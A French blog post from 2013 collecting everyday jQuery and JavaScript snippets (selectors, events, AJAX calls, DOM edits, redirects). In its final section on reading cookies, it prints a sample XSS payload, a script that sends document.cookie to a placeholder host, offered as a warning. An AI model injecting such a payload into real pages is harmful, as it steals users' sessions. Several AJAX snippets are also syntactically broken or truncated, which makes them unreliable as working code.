Dynamic-Mess.com


"The world is a dynamic mess of jiggling things..."

Fonctions utiles en jQuery et Javascript

Article posté le 23-12-2013 dans la catégorie JavaScript, JQuery...

Attention, le contenu cet article est peut-être obsolète!

La suite en ce qui concerne les fonctions bien utiles en jQuery Il s'agit principalement des fonctions utilisées "au quotidien" et qui permettent de gérer des évènements/animations les plus basiques et les plus utilisés. Note: MEA CULPA, certaines sont du JavaScript pur.

1- Exécuter du code au chargement de la page

jQuery(document).ready(function()
{
// Code à exécuter une fois que la page est chargée
});

 

2- Gestion des touches

Dans l'exemple ci-dessous, écoute de la touche "flèche gauche" :

$(document).keyup(function(e)
    {   
        if(e.keyCode == 37)
        {
            bougePlayer("G");
        }
     });

 

3- Exécuter du code à intervalle régulier

Exécuter du code toute les 250ms :

setInterval(function()
    {
    // Code à exécuter 
},250);

 

4 - Sélecteurs

$("[id*=DeployFleche]") //Selectionne tous les éléments dont l'attribut id contient DeployFleche

 

$( "[id^=checkBox]" ) //Sélectionne tous les élements dont l'id commence par checkBox

 

$('#Toto') //Selectionne tous les éléments dont l'id est Toto

 

$('.Toto') //Sélectionne tous les élements dont la classe est Toto

 

Pour parcourir tous les élements sélectionnés, voici comment procéder :

$( "[id^=checkBox]" ).each(function() { //Parcours des résultat
        if($(this).is(':enabled')) {  //$(this) fait référence à l'objet en cours, en jQuery
            this.setAttribute("checked", "checked"); //Dans cet exemple, on parcours les checkboxes, et si elles sont activées, on les coche et on les met à true (meilleure compatibilité avec IE).
            this.checked = true; // this fait référence à l'objet en cours, en JavaScript pur
        }
    });

 

5- Ecrire, Récuperer, vider et supprimer du contenu et des valeurs

Soit la div "monContenu":

$('#monContenu').prepend("Toto"); // Ecrit Toto dans la div, au début

 

$('#monContenu').append("Toto"); // Ecrit Toto dans la div, à la fin

 

$('#monContenu').empty(); // vide la div

 

$('#monContenu').remove(); // supprime la div

 

var leContenu = $('#monContenu').html(); // Récupere le contenu de la div et le stocke dans une variable

 

var monTitle = $('#monContenu').attr( "title" ); //retourne l'attribut de l'objet

 

$('#monContenu').attr( "title", "value" ); //Modifie l'attribut de l'objet

 

$('#monContenu').val(); // Lit le contenu du champ d'un formulaire

 

$('#listeVoiture').append($('<option>', {
                            value: 5,
                            text: Ma voiture
                        })); // Ajout une élément à un menu select

 

Manipulations des champs de type select :

$('#v_specificite').get(0).selectedIndex = 0; // Remet la valeur sélectionnée à zéro

 

var spec = $('option:selected', this).attr('spec'); // récuperer un attribut de l'élément sélectionné

 

$('#liste_contrat option:selected').val() // récuperer la valeur de l'élement sélectionné

 

Manipulations des champs de type bouton radio :

$('#com_comercial_app_no').prop('checked', false); // déselectionne le bouton radio

Désactiver un élément :

$('#bouttonImport').attr('disabled', false);

 

6- Modifier le style

On utilise la fonction ".css" qui prend deux paramètres : le premier est l'attribut, le deuxième sa valeur. Ex:

$('#monContenu').css('background', 'red'); //Modifie l'arrière plan en rouge

 

7- Animations basiques

Animation : prend la modification de position, la vitesse (millisecondes), et une fonction à exécuter à la fin de l'animation, pour paramètres :

$(nouvelleImage).animate({marginLeft:0},500,function()
        {
           //Code à exécuter quand l'animation est terminée
        });

 

8- Requêtes lecture/écriture Ajax

1- Sans changer de page (exemple avec GET)

$.ajax
    ({
        type: 'GET',
        url: urlSite+"modules/notePage.php? Note="+laNote+"&ipClient="+ipClient+"&idPage="+idPage+"&Vote=VoteOK", // URL
        success: function(data) //En cas de succès de la communication
        {
            $('#divNoteMere').prepend("Merci d'avoir voté!"); //Affiche message dans page en cours
            notePage=data; // On stocke le message affiché par la page PHP
        }
        ,
                error: function(jqXHR, textStatus, errorThrown) // En cas d'erreur
        {
            $('#divNoteMere').prepend("Impossible de valider votre note"); // Message
        }
        , timeout: 30000 // Durée maximale pour tenter de réaliser la connexion
    });

2- Avec page de confirmation (exemple avec POST)

$.ajax(
            {
                type:"POST", 
                data: $(this).serialize(), // Sérialiser l'objet (dans l'exemple, un formulaire)
                url: $(this).attr('action'),
                success: XMLHttpRequest.getResponseHeader("Location"), // Envoi vers l'url dans la partie action = "xxx.php" du formulaire)
                dataType: "html",
                error: function()
                {
                    // Traitement en cas d'erreur
                }
return false; // A ne pas oublier sinon la page sera rechargée !
            });

3- Autre exemple avec POST (mais pas dans le cas d'un formulaire) :

var formData = 
        {
            Nature:Nature,
            Destination:Destination }; //Array
 
$.ajax({
    url : "traitement.php",
    type: "POST",
    data : formData,
    success: function(data, textStatus, jqXHR)
    {
        alert(data);
    },
    error: function (jqXHR, textStatus, errorThrown)
    {
        //Message d'erreur
    }
});

4- Autre exemple avec POST pour une réponse en JSON

var formData = "storeId=" + Store.data('storeid') + "&retailerId=" + Store.data('retailer') +
                    "&form_key=" + $('#tokenForm').children().val();
            $.ajax({
                url: baseSiteUrl + "mydata/account/update/",
                type: "POST",
                data: formData,
                dataType: "json",
                success: function (data)
                {
                    $.each(data, function(index, element) { // OU plus simple:  
if (data['status'] == 'success') {
                        if(index === "status" && element === "success") {
                            location.reload();
                        } else {
                            alert($.mage.__("Sorry: impossible to update your data"));
                        }
                    });
                },
                error: function (data)

 

9- Déplacer, cloner des éléments

$( ".hello" ).appendTo( ".goodbye" ); //Déplace le premier élément dans le second
$( ".hello" ).clone().appendTo( ".goodbye" ); //Clone le premier élément dans le second

 

10- Gestion des éléments rajoutés après le chargement de la page

Les sélecteurs basiques de jQuery ne permettent de manipuler que les éléments présents au chargement de la page, donc pas ceux que vous avez créé dynamiquement...

Pour cela, il faut utiliser la fonction .on(), petits exemples :

$(document).on({
    click: function() {
        // ...
    },
    mouseenter: function() {
        // ...
    }
}, '#maDivDeTest');

Ici, nous supposons que nous avons créé, après le chargement de la page, une div dont l'id est "maDivDeTest". Dans cet exemple, nous voulons gérer les cas où nous cliquerions dessus, ou encore passerions la souris dessus. Le sélecteur est donc le dernier paramètre. Le premier, "document", est l'élement parent le plus proche, ici le document en lui-même. On devine donc que notre div n'a pas de div mère dans cet exemple.

Le dynamisme peut être aussi de mise. Ainsi dans une application où ne ne connaitrions pas le sélecteur (stocké dans une variable), nous devrions faire deux choses, tout d'abord mettre en place un écouteur :

$("#Maison").on('click', '.fenetre'+TypeFenetre, laveFenetre);

Ici, nous voulons écouter tout clic sur un élément dont la classe contient le mot "fenetre" (plus autre chose, stocké dans la variable TypeFenetre), notre élément se trouvant dans un autre lui ayant pour id "Maison". En cas de clic, exécuter la fonction laveFenetre(). Deuxième chose : à vous d'implémenter cette fonction, sachant que $(this) sera accessible à l'intérieur.

Important : dans le cas où le variable TypeFenetre change, à chaque fois que c'est le cas, vous devez rappeler l'écouteur... Dans ce cas l'idéal peut être de le mettre dans une fonction.

11- Changer de page

Imaginions que vous utilisiez votre code sur une page A, pour rediriger vers une page B. Deux possibilités :

window.location.replace(url)

Redirige, mais ne conserve pas la page A dans l'historique du navigateur : si une fois sur la page B vous cliquez sur "Précédent", vous arriverez sur la page que vous visitiez avant la page A.

document.location="url du site"

Idem mais conserve la page A dans l'historique. Cela implique une redirection HTTP. Si par contre vous voulez simuler un clic sur un lien, utilisez window.location.href = "http://votre-site.com";

12- Exploser une chaine utilisant un séparateur

var exploded = spec.split(','); //exploded contient à présent un tableau de chaque morceau de la chaine spec. Le découpage a utilisé la virgule comme séparateur.

 

13- Parcourir un tableau

Suite du point 12, si je veux parcourir le tableau :

$.each(exploded, function(index, value) {
        //traitement ici
    });

ou encore:

for(key in tabListeAxesSauvegarder){
chaineSoumission += "&" + key + "." + tabListeAxesSauvegarder[key];
}

14- Activer désactiver des options dans un menu SELECT

.removeAttr('disabled'); //Active
.attr('disabled','disabled'); //Désactive

15- Vérifier si une valeur est numérique

isNumeric()

doc ici : http://api.jquery.com/jquery.isnumeric/

16- Lire les cookies

document.cookie

Par exemple, une faille de XSS permet de récuperer les cookies d'un utilisateur (attention donc de bien protéger vos sites) :

<script>
document.location =
'http://example.org/getcookies.php?cookies=' + document.cookie;
</script>

 


Cet article vous a plu? Découvrez d'autres articles


Tweet
comments powered by Disqus